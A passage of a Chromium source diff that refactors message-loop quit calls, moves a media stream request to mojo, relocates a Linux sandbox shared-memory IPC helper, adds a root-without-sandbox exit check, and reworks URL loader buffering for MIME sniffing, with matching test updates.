-  EXPECT_TRUE(request_->status().is_io_pending());
-
   data_pipe.producer_handle.reset();
   base::RunLoop().RunUntilIdle();
-  EXPECT_TRUE(request_->status().is_io_pending());
-
   stream_callback->OnAborted();
   base::RunLoop().RunUntilIdle();
 
-  EXPECT_FALSE(request_->status().is_io_pending());
-  EXPECT_FALSE(request_->status().is_success());
-  EXPECT_EQ(net::ERR_CONNECTION_RESET, request_->status().ToNetError());
   EXPECT_EQ(net::ERR_CONNECTION_RESET, url_request_delegate_.request_status());
   EXPECT_EQ(200, request_->response_headers()->response_code());
   EXPECT_EQ("OK", request_->response_headers()->GetStatusText());
@@ -1230,7 +1256,9 @@
 
   base::RunLoop().RunUntilIdle();
 
-  EXPECT_TRUE(request_->status().is_success());
+  // IO is still pending since |producer_handle| is not yet reset, but the data
+  // should have been received by now.
+  EXPECT_EQ(net::ERR_IO_PENDING, url_request_delegate_.request_status());
   EXPECT_EQ(200, request_->response_headers()->response_code());
   EXPECT_EQ("OK", request_->response_headers()->GetStatusText());
   EXPECT_EQ(expected_response, url_request_delegate_.data_received());
@@ -1282,7 +1310,7 @@
   request_->Start();
 
   base::RunLoop().RunUntilIdle();
-  EXPECT_TRUE(request_->status().is_success());
+  EXPECT_EQ(net::OK, url_request_delegate_.request_status());
   // We should have fallen back to network.
   EXPECT_EQ(200, request_->GetResponseCode());
   EXPECT_EQ("PASS", url_request_delegate_.data_received());
@@ -1306,7 +1334,7 @@
 
   // The load should fail and we should have fallen back to network because
   // this is a main resource request.
-  EXPECT_TRUE(request_->status().is_success());
+  EXPECT_EQ(net::OK, url_request_delegate_.request_status());
   EXPECT_EQ(200, request_->GetResponseCode());
   EXPECT_EQ("PASS", url_request_delegate_.data_received());
 
@@ -1323,7 +1351,7 @@
 
   // The load should fail and we should not fall back to network because
   // this is a subresource request.
-  EXPECT_TRUE(request_->status().is_success());
+  EXPECT_EQ(net::OK, url_request_delegate_.request_status());
   EXPECT_EQ(500, request_->GetResponseCode());
   EXPECT_EQ("Service Worker Response Error",
             request_->response_headers()->GetStatusText());
diff --git a/content/browser/storage_partition_impl.cc b/content/browser/storage_partition_impl.cc
index 59c889a..721c2e4 100644
--- a/content/browser/storage_partition_impl.cc
+++ b/content/browser/storage_partition_impl.cc
@@ -445,7 +445,6 @@
   partition->quota_manager_ = new storage::QuotaManager(
       in_memory, partition_path,
       BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(),
-      BrowserThread::GetTaskRunnerForThread(BrowserThread::DB).get(),
       context->GetSpecialStoragePolicy(),
       base::Bind(&StoragePartitionImpl::GetQuotaSettings,
                  partition->weak_factory_.GetWeakPtr()));
diff --git a/content/browser/storage_partition_impl_unittest.cc b/content/browser/storage_partition_impl_unittest.cc
index dbfae0b..b1ca28c3 100644
--- a/content/browser/storage_partition_impl_unittest.cc
+++ b/content/browser/storage_partition_impl_unittest.cc
@@ -107,7 +107,7 @@
   void Notify() {
     if (start_) {
       DCHECK(!already_quit_);
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       start_ = false;
     } else {
       DCHECK(!already_quit_);
@@ -632,7 +632,6 @@
       quota_manager_ = new MockQuotaManager(
           browser_context_->IsOffTheRecord(), browser_context_->GetPath(),
           BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(),
-          BrowserThread::GetTaskRunnerForThread(BrowserThread::DB).get(),
           browser_context_->GetSpecialStoragePolicy());
     }
     return quota_manager_.get();
diff --git a/content/browser/wake_lock/wake_lock_browsertest.cc b/content/browser/wake_lock/wake_lock_browsertest.cc
index 663fe34..86ae40f 100644
--- a/content/browser/wake_lock/wake_lock_browsertest.cc
+++ b/content/browser/wake_lock/wake_lock_browsertest.cc
@@ -4,6 +4,7 @@
 
 #include "base/command_line.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/test/test_timeouts.h"
 #include "content/browser/web_contents/web_contents_impl.h"
 #include "content/public/common/content_switches.h"
@@ -24,7 +25,7 @@
 
 void OnHasWakeLock(bool* out, bool has_wakelock) {
   *out = has_wakelock;
-  base::MessageLoop::current()->QuitNow();
+  base::RunLoop::QuitCurrentDeprecated();
 }
 
 }  // namespace
diff --git a/content/browser/zygote_host/zygote_host_impl_linux.cc b/content/browser/zygote_host/zygote_host_impl_linux.cc
index 2fecddb..5df85c7c 100644
--- a/content/browser/zygote_host/zygote_host_impl_linux.cc
+++ b/content/browser/zygote_host/zygote_host_impl_linux.cc
@@ -4,7 +4,9 @@
 
 #include "content/browser/zygote_host/zygote_host_impl_linux.h"
 
+#include <stdlib.h>
 #include <sys/socket.h>
+#include <sys/types.h>
 
 #include "base/allocator/allocator_extension.h"
 #include "base/files/file_enumerator.h"
@@ -74,6 +76,20 @@
     return;
   }
 
+  // Exit early if running as root without --no-sandbox. See crbug.com/638180.
+  // When running as root with the sandbox enabled, the browser process
+  // crashes on zygote initialization. Running as root with the sandbox
+  // is not supported, and if Chrome were able to display UI it would be showing
+  // an error message. With the zygote crashing it doesn't even get to that,
+  // so print an error message on the console.
+  uid_t uid = 0;
+  gid_t gid = 0;
+  if (!sandbox::Credentials::GetRESIds(&uid, &gid) || uid == 0) {
+    LOG(ERROR) << "Running as root without --" << switches::kNoSandbox
+               << " is not supported. See https://crbug.com/638180.";
+    exit(EXIT_FAILURE);
+  }
+
   {
     std::unique_ptr<sandbox::SetuidSandboxHost> setuid_sandbox_host(
         sandbox::SetuidSandboxHost::Create());
diff --git a/content/child/BUILD.gn b/content/child/BUILD.gn
index db74c76..f717080c 100644
--- a/content/child/BUILD.gn
+++ b/content/child/BUILD.gn
@@ -63,7 +63,6 @@
     "child_process.h",
     "child_process_sandbox_support_impl_linux.cc",
     "child_process_sandbox_support_impl_linux.h",
-    "child_process_sandbox_support_impl_shm_linux.cc",
     "child_resource_message_filter.cc",
     "child_resource_message_filter.h",
     "child_thread_impl.cc",
diff --git a/content/child/child_process_sandbox_support_impl_shm_linux.cc b/content/child/child_process_sandbox_support_impl_shm_linux.cc
deleted file mode 100644
index d757917..0000000
--- a/content/child/child_process_sandbox_support_impl_shm_linux.cc
+++ /dev/null
@@ -1,27 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "content/child/child_process_sandbox_support_impl_linux.h"
-
-#include "base/pickle.h"
-#include "base/posix/unix_domain_socket.h"
-#include "content/common/sandbox_linux/sandbox_linux.h"
-
-namespace content {
-
-int MakeSharedMemorySegmentViaIPC(size_t length, bool executable) {
-  base::Pickle request;
-  request.WriteInt(LinuxSandbox::METHOD_MAKE_SHARED_MEMORY_SEGMENT);
-  request.WriteUInt32(length);
-  request.WriteBool(executable);
-  uint8_t reply_buf[10];
-  int result_fd;
-  ssize_t result = base::UnixDomainSocket::SendRecvMsg(
-      GetSandboxFD(), reply_buf, sizeof(reply_buf), &result_fd, request);
-  if (result == -1)
-    return -1;
-  return result_fd;
-}
-
-}  // namespace content
diff --git a/content/child/child_thread_impl.cc b/content/child/child_thread_impl.cc
index a943ec63..263ff0a 100644
--- a/content/child/child_thread_impl.cc
+++ b/content/child/child_thread_impl.cc
@@ -24,6 +24,7 @@
 #include "base/metrics/histogram_macros.h"
 #include "base/process/process.h"
 #include "base/process/process_handle.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_util.h"
@@ -633,7 +634,7 @@
   // If this thread runs in the browser process, only Thread::Stop should
   // stop its message loop. Otherwise, QuitWhenIdle could race Thread::Stop.
   if (!IsInBrowserProcess())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 bool ChildThreadImpl::Send(IPC::Message* msg) {
@@ -794,7 +795,7 @@
 void ChildThreadImpl::OnProcessResume() {}
 
 void ChildThreadImpl::OnShutdown() {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 #if BUILDFLAG(IPC_MESSAGE_LOG_ENABLED)
diff --git a/content/child/runtime_features.cc b/content/child/runtime_features.cc
index 0da249f..e772eb6 100644
--- a/content/child/runtime_features.cc
+++ b/content/child/runtime_features.cc
@@ -268,9 +268,6 @@
   if (command_line.HasSwitch(switches::kEnableSlimmingPaintV2))
     WebRuntimeFeatures::EnableSlimmingPaintV2(true);
 
-  if (base::FeatureList::IsEnabled(features::kDocumentWriteEvaluator))
-    WebRuntimeFeatures::EnableDocumentWriteEvaluator(true);
-
   if (base::FeatureList::IsEnabled(features::kLazyParseCSS))
     WebRuntimeFeatures::EnableLazyParseCSS(true);
 
diff --git a/content/child/web_url_loader_impl_unittest.cc b/content/child/web_url_loader_impl_unittest.cc
index 6d60c973..2b0e6a4 100644
--- a/content/child/web_url_loader_impl_unittest.cc
+++ b/content/child/web_url_loader_impl_unittest.cc
@@ -188,7 +188,7 @@
     EXPECT_TRUE(did_receive_response_);
     EXPECT_FALSE(did_finish_);
     EXPECT_EQ(net::OK, error_.reason);
-    EXPECT_EQ("", error_.domain.Utf8());
+    EXPECT_EQ(blink::WebURLError::Domain::kEmpty, error_.domain);
 
     received_data_.append(data, dataLength);
 
@@ -335,7 +335,7 @@
     EXPECT_TRUE(client()->did_finish());
     // There should be no error.
     EXPECT_EQ(net::OK, client()->error().reason);
-    EXPECT_EQ("", client()->error().domain.Utf8());
+    EXPECT_EQ(blink::WebURLError::Domain::kEmpty, client()->error().domain);
   }
 
   void DoFailRequest() {
@@ -345,7 +345,7 @@
                                strlen(kTestData));
     EXPECT_FALSE(client()->did_finish());
     EXPECT_EQ(net::ERR_FAILED, client()->error().reason);
-    EXPECT_EQ(net::kErrorDomain, client()->error().domain.Utf8());
+    EXPECT_EQ(blink::WebURLError::Domain::kNet, client()->error().domain);
   }
 
   void DoReceiveResponseFtp() {
@@ -469,7 +469,7 @@
   EXPECT_EQ("blah!", client()->received_data());
   EXPECT_TRUE(client()->did_finish());
   EXPECT_EQ(net::OK, client()->error().reason);
-  EXPECT_EQ("", client()->error().domain.Utf8());
+  EXPECT_EQ(blink::WebURLError::Domain::kEmpty, client()->error().domain);
 }
 
 TEST_F(WebURLLoaderImplTest, DataURLDeleteOnReceiveResponse) {
@@ -535,7 +535,7 @@
 
   EXPECT_EQ("blah!", client()->received_data());
   EXPECT_EQ(net::OK, client()->error().reason);
-  EXPECT_EQ("", client()->error().domain.Utf8());
+  EXPECT_EQ(blink::WebURLError::Domain::kEmpty, client()->error().domain);
 }
 
 TEST_F(WebURLLoaderImplTest, DefersLoadingBeforeStart) {
diff --git a/content/common/common_sandbox_support_linux.cc b/content/common/common_sandbox_support_linux.cc
index 7475cb2..bf876b67 100644
--- a/content/common/common_sandbox_support_linux.cc
+++ b/content/common/common_sandbox_support_linux.cc
@@ -11,9 +11,12 @@
 #include <memory>
 
 #include "base/numerics/safe_conversions.h"
+#include "base/pickle.h"
 #include "base/posix/eintr_wrapper.h"
+#include "base/posix/unix_domain_socket.h"
 #include "base/sys_byteorder.h"
 #include "base/trace_event/trace_event.h"
+#include "content/common/sandbox_linux/sandbox_linux.h"
 
 namespace content {
 
@@ -92,4 +95,18 @@
   return true;
 }
 
+int MakeSharedMemorySegmentViaIPC(size_t length, bool executable) {
+  base::Pickle request;
+  request.WriteInt(LinuxSandbox::METHOD_MAKE_SHARED_MEMORY_SEGMENT);
+  request.WriteUInt32(length);
+  request.WriteBool(executable);
+  uint8_t reply_buf[10];
+  int result_fd;
+  ssize_t result = base::UnixDomainSocket::SendRecvMsg(
+      GetSandboxFD(), reply_buf, sizeof(reply_buf), &result_fd, request);
+  if (result == -1)
+    return -1;
+  return result_fd;
+}
+
 }  // namespace content
diff --git a/content/common/frame_messages.h b/content/common/frame_messages.h
index 168d64f..b4d587aa 100644
--- a/content/common/frame_messages.h
+++ b/content/common/frame_messages.h
@@ -1554,6 +1554,10 @@
                     std::string /* mime type */,
                     content::ResourceType /* resource type */)
 
+// This frame attempted to navigate the main frame to the given url, even
+// though this frame has never received a user gesture.
+IPC_MESSAGE_ROUTED1(FrameHostMsg_DidBlockFramebust, GURL /* url */)
+
 // PlzNavigate
 // Tells the browser to perform a navigation.
 IPC_MESSAGE_ROUTED2(FrameHostMsg_BeginNavigation,
diff --git a/content/common/media/media_stream.mojom b/content/common/media/media_stream.mojom
index 32898f7a..82baab8 100644
--- a/content/common/media/media_stream.mojom
+++ b/content/common/media/media_stream.mojom
@@ -18,8 +18,26 @@
   NUM_MEDIA_TYPES
 };
 
+// See content/common/media/media_stream_options.h.
+struct TrackControls {
+  bool requested;
+  string stream_source;
+  string device_id;
+};
+
+// See content/common/media/media_stream_options.h.
+struct StreamControls {
+  TrackControls audio;
+  TrackControls video;
+  bool hotword_enabled;
+  bool disable_local_echo;
+};
+
 interface MediaStreamDispatcherHost {
-  // TODO(c.padhi): Migrate the rest of the messages, https://crbug.com/742682.
+  // Requests a new media stream.
+  GenerateStream(int32 render_frame_id, int32 request_id,
+                 StreamControls controls, url.mojom.Origin security_origin,
+                 bool user_gesture);
 
   // Cancels the request for a new media stream.
   CancelGenerateStream(int32 render_frame_id, int32 request_id);
@@ -48,3 +66,7 @@
   // Tells the browser process that the stream has been started successfully.
   StreamStarted(string label);
 };
+
+// TODO(c.padhi): Migrate the browser-to-renderer messages,
+// see https://crbug.com/742682.
+interface MediaStreamDispatcher{};
diff --git a/content/common/media/media_stream.typemap b/content/common/media/media_stream.typemap
index 1c7b1a9..2e737a9 100644
--- a/content/common/media/media_stream.typemap
+++ b/content/common/media/media_stream.typemap
@@ -4,7 +4,10 @@
 
 mojom = "//content/common/media/media_stream.mojom"
 
-public_headers = [ "//content/public/common/media_stream_request.h" ]
+public_headers = [
+  "//content/common/media/media_stream_options.h",
+  "//content/public/common/media_stream_request.h",
+]
 
 traits_headers = [ "//content/common/media/media_stream_typemap_traits.h" ]
 
@@ -16,4 +19,8 @@
   "//base",
 ]
 
-type_mappings = [ "content.mojom.MediaStreamType=content::MediaStreamType" ]
+type_mappings = [
+  "content.mojom.MediaStreamType=content::MediaStreamType",
+  "content.mojom.StreamControls=content::StreamControls",
+  "content.mojom.TrackControls=content::TrackControls",
+]
diff --git a/content/common/media/media_stream_messages.h b/content/common/media/media_stream_messages.h
index 5c49bbc..cc39dd41 100644
--- a/content/common/media/media_stream_messages.h
+++ b/content/common/media/media_stream_messages.h
@@ -88,13 +88,3 @@
 // The browser has failed to open a device.
 IPC_MESSAGE_ROUTED1(MediaStreamMsg_DeviceOpenFailed,
                     int /* request id */)
-
-// Messages sent from the renderer to the browser.
-
-// Request a new media stream.
-IPC_MESSAGE_CONTROL5(MediaStreamHostMsg_GenerateStream,
-                     int /* render frame id */,
-                     int /* request id */,
-                     content::StreamControls /* controls */,
-                     url::Origin /* security origin */,
-                     bool /* user_gesture */)
diff --git a/content/common/media/media_stream_typemap_traits.cc b/content/common/media/media_stream_typemap_traits.cc
index 71f8401..8642cddc 100644
--- a/content/common/media/media_stream_typemap_traits.cc
+++ b/content/common/media/media_stream_typemap_traits.cc
@@ -68,4 +68,35 @@
   return false;
 }
 
+// static
+bool StructTraits<
+    content::mojom::TrackControlsDataView,
+    content::TrackControls>::Read(content::mojom::TrackControlsDataView input,
+                                  content::TrackControls* out) {
+  out->requested = input.requested();
+  if (!input.ReadStreamSource(&out->stream_source))
+    return false;
+  if (!input.ReadDeviceId(&out->device_id))
+    return false;
+  return true;
+}
+
+// static
+bool StructTraits<
+    content::mojom::StreamControlsDataView,
+    content::StreamControls>::Read(content::mojom::StreamControlsDataView input,
+                                   content::StreamControls* out) {
+  if (!input.ReadAudio(&out->audio))
+    return false;
+  if (!input.ReadVideo(&out->video))
+    return false;
+#if DCHECK_IS_ON()
+  if (input.hotword_enabled() || input.disable_local_echo())
+    DCHECK(out->audio.requested);
+#endif
+  out->hotword_enabled = input.hotword_enabled();
+  out->disable_local_echo = input.disable_local_echo();
+  return true;
+}
+
 }  // namespace mojo
diff --git a/content/common/media/media_stream_typemap_traits.h b/content/common/media/media_stream_typemap_traits.h
index b581d67..7533ff872 100644
--- a/content/common/media/media_stream_typemap_traits.h
+++ b/content/common/media/media_stream_typemap_traits.h
@@ -6,6 +6,7 @@
 #define CONTENT_COMMON_MEDIA_MEDIA_STREAM_TYPEMAP_TRAITS_H_
 
 #include "content/common/media/media_stream.mojom.h"
+#include "content/common/media/media_stream_options.h"
 #include "content/public/common/media_stream_request.h"
 
 namespace mojo {
@@ -18,6 +19,51 @@
                         content::MediaStreamType* out);
 };
 
+template <>
+struct StructTraits<content::mojom::TrackControlsDataView,
+                    content::TrackControls> {
+  static bool requested(const content::TrackControls& controls) {
+    return controls.requested;
+  }
+
+  static const std::string& stream_source(
+      const content::TrackControls& controls) {
+    return controls.stream_source;
+  }
+
+  static const std::string& device_id(const content::TrackControls& controls) {
+    return controls.device_id;
+  }
+
+  static bool Read(content::mojom::TrackControlsDataView input,
+                   content::TrackControls* out);
+};
+
+template <>
+struct StructTraits<content::mojom::StreamControlsDataView,
+                    content::StreamControls> {
+  static const content::TrackControls& audio(
+      const content::StreamControls& controls) {
+    return controls.audio;
+  }
+
+  static const content::TrackControls& video(
+      const content::StreamControls& controls) {
+    return controls.video;
+  }
+
+  static bool hotword_enabled(const content::StreamControls& controls) {
+    return controls.hotword_enabled;
+  }
+
+  static bool disable_local_echo(const content::StreamControls& controls) {
+    return controls.disable_local_echo;
+  }
+
+  static bool Read(content::mojom::StreamControlsDataView input,
+                   content::StreamControls* out);
+};
+
 }  // namespace mojo
 
 #endif  // CONTENT_COMMON_MEDIA_MEDIA_STREAM_TYPEMAP_TRAITS_H_
\ No newline at end of file
diff --git a/content/common/net_adapters.cc b/content/common/net_adapters.cc
index 462659a8..aa859ecc 100644
--- a/content/common/net_adapters.cc
+++ b/content/common/net_adapters.cc
@@ -45,8 +45,9 @@
   return std::move(handle_);
 }
 
-NetToMojoIOBuffer::NetToMojoIOBuffer(NetToMojoPendingBuffer* pending_buffer)
-    : net::WrappedIOBuffer(pending_buffer->buffer()),
+NetToMojoIOBuffer::NetToMojoIOBuffer(NetToMojoPendingBuffer* pending_buffer,
+                                     int offset)
+    : net::WrappedIOBuffer(pending_buffer->buffer() + offset),
       pending_buffer_(pending_buffer) {}
 
 NetToMojoIOBuffer::~NetToMojoIOBuffer() {}
diff --git a/content/common/net_adapters.h b/content/common/net_adapters.h
index 9da1b21..5c65d9fe 100644
--- a/content/common/net_adapters.h
+++ b/content/common/net_adapters.h
@@ -59,11 +59,15 @@
 // copied into the buffer associated with the pending mojo write.
 class NetToMojoIOBuffer : public net::WrappedIOBuffer {
  public:
-  explicit NetToMojoIOBuffer(NetToMojoPendingBuffer* pending_buffer);
+  // If |offset| is specified then the memory buffer passed to the Net layer
+  // will be offset by that many bytes.
+  NetToMojoIOBuffer(NetToMojoPendingBuffer* pending_buffer, int offset = 0);
 
  private:
   ~NetToMojoIOBuffer() override;
   scoped_refptr<NetToMojoPendingBuffer> pending_buffer_;
+
+  DISALLOW_COPY_AND_ASSIGN(NetToMojoIOBuffer);
 };
 
 }  // namespace content
diff --git a/content/gpu/gpu_child_thread.cc b/content/gpu/gpu_child_thread.cc
index 68145e7..dfc961e 100644
--- a/content/gpu/gpu_child_thread.cc
+++ b/content/gpu/gpu_child_thread.cc
@@ -11,6 +11,7 @@
 #include "base/callback_helpers.h"
 #include "base/memory/weak_ptr.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/sequenced_task_runner.h"
 #include "base/threading/thread_checker.h"
 #include "build/build_config.h"
@@ -252,7 +253,7 @@
     LOG(ERROR) << "Exiting GPU process due to errors during initialization";
     gpu_service_.reset();
     gpu_host->DidFailInitialize();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return;
   }
 
diff --git a/content/network/url_loader_impl.cc b/content/network/url_loader_impl.cc
index d63095a..4bca06c 100644
--- a/content/network/url_loader_impl.cc
+++ b/content/network/url_loader_impl.cc
@@ -281,29 +281,43 @@
 }
 
 void URLLoaderImpl::ReadMore() {
-  DCHECK(!pending_write_.get());
+  // Once the MIME type is sniffed, all data is sent as soon as it is read from
+  // the network.
+  DCHECK(consumer_handle_.is_valid() || !pending_write_);
+  if (!pending_write_.get()) {
+    // TODO: we should use the abstractions in MojoAsyncResourceHandler.
+    pending_write_buffer_offset_ = 0;
+    MojoResult result = NetToMojoPendingBuffer::BeginWrite(
+        &response_body_stream_, &pending_write_, &pending_write_buffer_size_);
+    if (result != MOJO_RESULT_OK && result != MOJO_RESULT_SHOULD_WAIT) {
+      // The response body stream is in a bad state. Bail.
+      // TODO: How should this be communicated to our client?
+      writable_handle_watcher_.Cancel();
+      response_body_stream_.reset();
+      DeleteIfNeeded();
+      return;
+    }
 
-  uint32_t num_bytes;
-  // TODO: we should use the abstractions in MojoAsyncResourceHandler.
-  MojoResult result = NetToMojoPendingBuffer::BeginWrite(
-      &response_body_stream_, &pending_write_, &num_bytes);
-  if (result == MOJO_RESULT_SHOULD_WAIT) {
-    // The pipe is full. We need to wait for it to have more space.
-    writable_handle_watcher_.ArmOrNotify();
-    return;
-  } else if (result != MOJO_RESULT_OK) {
-    // The response body stream is in a bad state. Bail.
-    // TODO: How should this be communicated to our client?
-    writable_handle_watcher_.Cancel();
-    response_body_stream_.reset();
-    DeleteIfNeeded();
-    return;
+    DCHECK_GT(static_cast<uint32_t>(std::numeric_limits<int>::max()),
+              pending_write_buffer_size_);
+    if (consumer_handle_.is_valid()) {
+      DCHECK_GE(pending_write_buffer_size_,
+                static_cast<uint32_t>(net::kMaxBytesToSniff));
+    }
+    if (result == MOJO_RESULT_SHOULD_WAIT) {
+      // The pipe is full. We need to wait for it to have more space.
+      writable_handle_watcher_.ArmOrNotify();
+      return;
+    }
   }
 
-  CHECK_GT(static_cast<uint32_t>(std::numeric_limits<int>::max()), num_bytes);
-  scoped_refptr<net::IOBuffer> buf(new NetToMojoIOBuffer(pending_write_.get()));
+  scoped_refptr<net::IOBuffer> buf(new NetToMojoIOBuffer(
+      pending_write_.get(), pending_write_buffer_offset_));
   int bytes_read;
-  url_request_->Read(buf.get(), static_cast<int>(num_bytes), &bytes_read);
+  url_request_->Read(buf.get(),
+                     static_cast<int>(pending_write_buffer_size_ -
+                                      pending_write_buffer_offset_),
+                     &bytes_read);
   if (url_request_->status().is_io_pending()) {
     // Wait for OnReadCompleted.
   } else if (url_request_->status().is_success() && bytes_read > 0) {
@@ -311,7 +325,7 @@
   } else {
     NotifyCompleted(net::OK);
     writable_handle_watcher_.Cancel();
-    pending_write_->Complete(0);
+    pending_write_->Complete(pending_write_buffer_offset_);
     pending_write_ = nullptr;  // This closes the data pipe.
     DeleteIfNeeded();
     return;
@@ -319,27 +333,32 @@
 }
 
 void URLLoaderImpl::DidRead(uint32_t num_bytes, bool completed_synchronously) {
+  pending_write_buffer_offset_ += num_bytes;
   DCHECK(url_request_->status().is_success());
+  bool complete_read = true;
   if (consumer_handle_.is_valid()) {
     const std::string& type_hint = response_->head.mime_type;
     std::string new_type;
-    bool made_final_decision =
-        net::SniffMimeType(pending_write_->buffer(), num_bytes,
-                           url_request_->url(), type_hint, &new_type);
+    bool made_final_decision = net::SniffMimeType(
+        pending_write_->buffer(), pending_write_buffer_offset_,
+        url_request_->url(), type_hint, &new_type);
     // SniffMimeType() returns false if there is not enough data to determine
     // the mime type. However, even if it returns false, it returns a new type
     // that is probably better than the current one.
     response_->head.mime_type.assign(new_type);
 
-    if (!made_final_decision) {
-      // TODO: handle case where the initial read didn't have enough bytes.
-      // http://crbug.com/746144
-      LOG(ERROR) << "URLLoaderImpl couldn't make final sniffing decision.";
+    if (made_final_decision) {
+      SendResponseToClient();
+    } else {
+      complete_read = false;
     }
-    SendResponseToClient();
   }
-  response_body_stream_ = pending_write_->Complete(num_bytes);
-  pending_write_ = nullptr;
+
+  if (complete_read) {
+    response_body_stream_ =
+        pending_write_->Complete(pending_write_buffer_offset_);
+    pending_write_ = nullptr;
+  }
   if (completed_synchronously) {
     base::ThreadTaskRunnerHandle::Get()->PostTask(
         FROM_HERE,
diff --git a/content/network/url_loader_impl.h b/content/network/url_loader_impl.h
index 2d21065..81509eb7 100644
--- a/content/network/url_loader_impl.h
+++ b/content/network/url_loader_impl.h
@@ -72,6 +72,8 @@
 
   mojo::ScopedDataPipeProducerHandle response_body_stream_;
   scoped_refptr<NetToMojoPendingBuffer> pending_write_;
+  uint32_t pending_write_buffer_size_ = 0;
+  uint32_t pending_write_buffer_offset_ = 0;
   mojo::SimpleWatcher writable_handle_watcher_;
   mojo::SimpleWatcher peer_closed_handle_watcher_;
 
diff --git a/content/network/url_loader_unittest.cc b/content/network/url_loader_unittest.cc
index c5977691..03c9872 100644
--- a/content/network/url_loader_unittest.cc
+++ b/content/network/url_loader_unittest.cc
@@ -2,6 +2,10 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
+#include <list>
+#include <memory>
+#include <string>
+
 #include "base/files/file_util.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
@@ -14,8 +18,15 @@
 #include "content/public/test/test_url_loader_client.h"
 #include "mojo/public/c/system/data_pipe.h"
 #include "mojo/public/cpp/system/wait.h"
+#include "net/base/io_buffer.h"
+#include "net/base/mime_sniffer.h"
 #include "net/test/embedded_test_server/embedded_test_server.h"
 #include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
+#include "net/url_request/url_request.h"
+#include "net/url_request/url_request_filter.h"
+#include "net/url_request/url_request_interceptor.h"
+#include "net/url_request/url_request_job.h"
+#include "net/url_request/url_request_status.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace content {
@@ -45,23 +56,66 @@
   return request;
 }
 
-std::string ReadData(MojoHandle consumer, size_t size) {
-  MojoResult rv =
-      mojo::Wait(mojo::Handle(consumer), MOJO_HANDLE_SIGNAL_READABLE);
-  if (!size) {
-    CHECK_EQ(rv, MOJO_RESULT_FAILED_PRECONDITION);
-    return std::string();
-  }
-  CHECK_EQ(rv, MOJO_RESULT_OK);
-  std::vector<char> buffer(size);
-  uint32_t num_bytes = static_cast<uint32_t>(size);
-  CHECK_EQ(MojoReadData(consumer, buffer.data(), &num_bytes,
-                        MOJO_WRITE_DATA_FLAG_ALL_OR_NONE),
-           MOJO_RESULT_OK);
-  CHECK_EQ(num_bytes, static_cast<uint32_t>(size));
+class URLRequestMultipleWritesJob : public net::URLRequestJob {
+ public:
+  URLRequestMultipleWritesJob(net::URLRequest* request,
+                              net::NetworkDelegate* network_delegate,
+                              std::list<std::string> packets)
+      : URLRequestJob(request, network_delegate),
+        packets_(std::move(packets)),
+        weak_factory_(this) {}
 
-  return std::string(buffer.data(), buffer.size());
-}
+  // net::URLRequestJob implementation:
+  void Start() override {
+    base::ThreadTaskRunnerHandle::Get()->PostTask(
+        FROM_HERE, base::Bind(&URLRequestMultipleWritesJob::StartAsync,
+                              weak_factory_.GetWeakPtr()));
+  }
+
+  int ReadRawData(net::IOBuffer* buf, int buf_size) override {
+    if (packets_.empty())
+      return 0;
+
+    std::string packet = packets_.front();
+    packets_.pop_front();
+    CHECK_GE(buf_size, static_cast<int>(packet.length()));
+    memcpy(buf->data(), packet.c_str(), packet.length());
+    return packet.length();
+  }
+
+ private:
+  ~URLRequestMultipleWritesJob() override {}
+
+  void StartAsync() { NotifyHeadersComplete(); }
+
+  std::list<std::string> packets_;
+
+  base::WeakPtrFactory<URLRequestMultipleWritesJob> weak_factory_;
+
+  DISALLOW_COPY_AND_ASSIGN(URLRequestMultipleWritesJob);
+};
+
+class MultipleWritesInterceptor : public net::URLRequestInterceptor {
+ public:
+  explicit MultipleWritesInterceptor(std::list<std::string> packets)
+      : packets_(std::move(packets)) {}
+  ~MultipleWritesInterceptor() override {}
+
+  static GURL GetURL() { return GURL("http://foo"); }
+
+  // URLRequestInterceptor implementation:
+  net::URLRequestJob* MaybeInterceptRequest(
+      net::URLRequest* request,
+      net::NetworkDelegate* network_delegate) const override {
+    return new URLRequestMultipleWritesJob(request, network_delegate,
+                                           std::move(packets_));
+  }
+
+ private:
+  std::list<std::string> packets_;
+
+  DISALLOW_COPY_AND_ASSIGN(MultipleWritesInterceptor);
+};
 
 }  // namespace
 
@@ -79,58 +133,119 @@
     ASSERT_TRUE(test_server_.Start());
   }
 
-  void Load(const GURL& url,
-            TestURLLoaderClient* client,
-            uint32_t options = 0) {
+  void Load(const GURL& url) {
     mojom::URLLoaderPtr loader;
 
     ResourceRequest request =
         CreateResourceRequest("GET", RESOURCE_TYPE_MAIN_FRAME, url);
+    uint32_t options = mojom::kURLLoadOptionNone;
+    if (send_ssl_)
+      options |= mojom::kURLLoadOptionSendSSLInfo;
+    if (sniff_)
+      options |= mojom::kURLLoadOptionSniffMimeType;
 
     URLLoaderImpl loader_impl(context(), mojo::MakeRequest(&loader), options,
-                              request, client->CreateInterfacePtr(),
+                              request, client_.CreateInterfacePtr(),
                               TRAFFIC_ANNOTATION_FOR_TESTS);
 
-    client->RunUntilComplete();
+    client_.RunUntilComplete();
+    EXPECT_EQ(net::OK, client_.completion_status().error_code);
+    DCHECK(!ran_);
+    ran_ = true;
   }
 
   void LoadAndCompareFile(const std::string& path) {
-    TestURLLoaderClient client;
-    GURL url = test_server()->GetURL(std::string("/") + path);
-    Load(url, &client);
-
     base::FilePath file;
     PathService::Get(content::DIR_TEST_DATA, &file);
     file = file.AppendASCII(path);
 
-    std::string file_contents;
-    if (!base::ReadFileToString(file, &file_contents)) {
+    std::string expected;
+    if (!base::ReadFileToString(file, &expected)) {
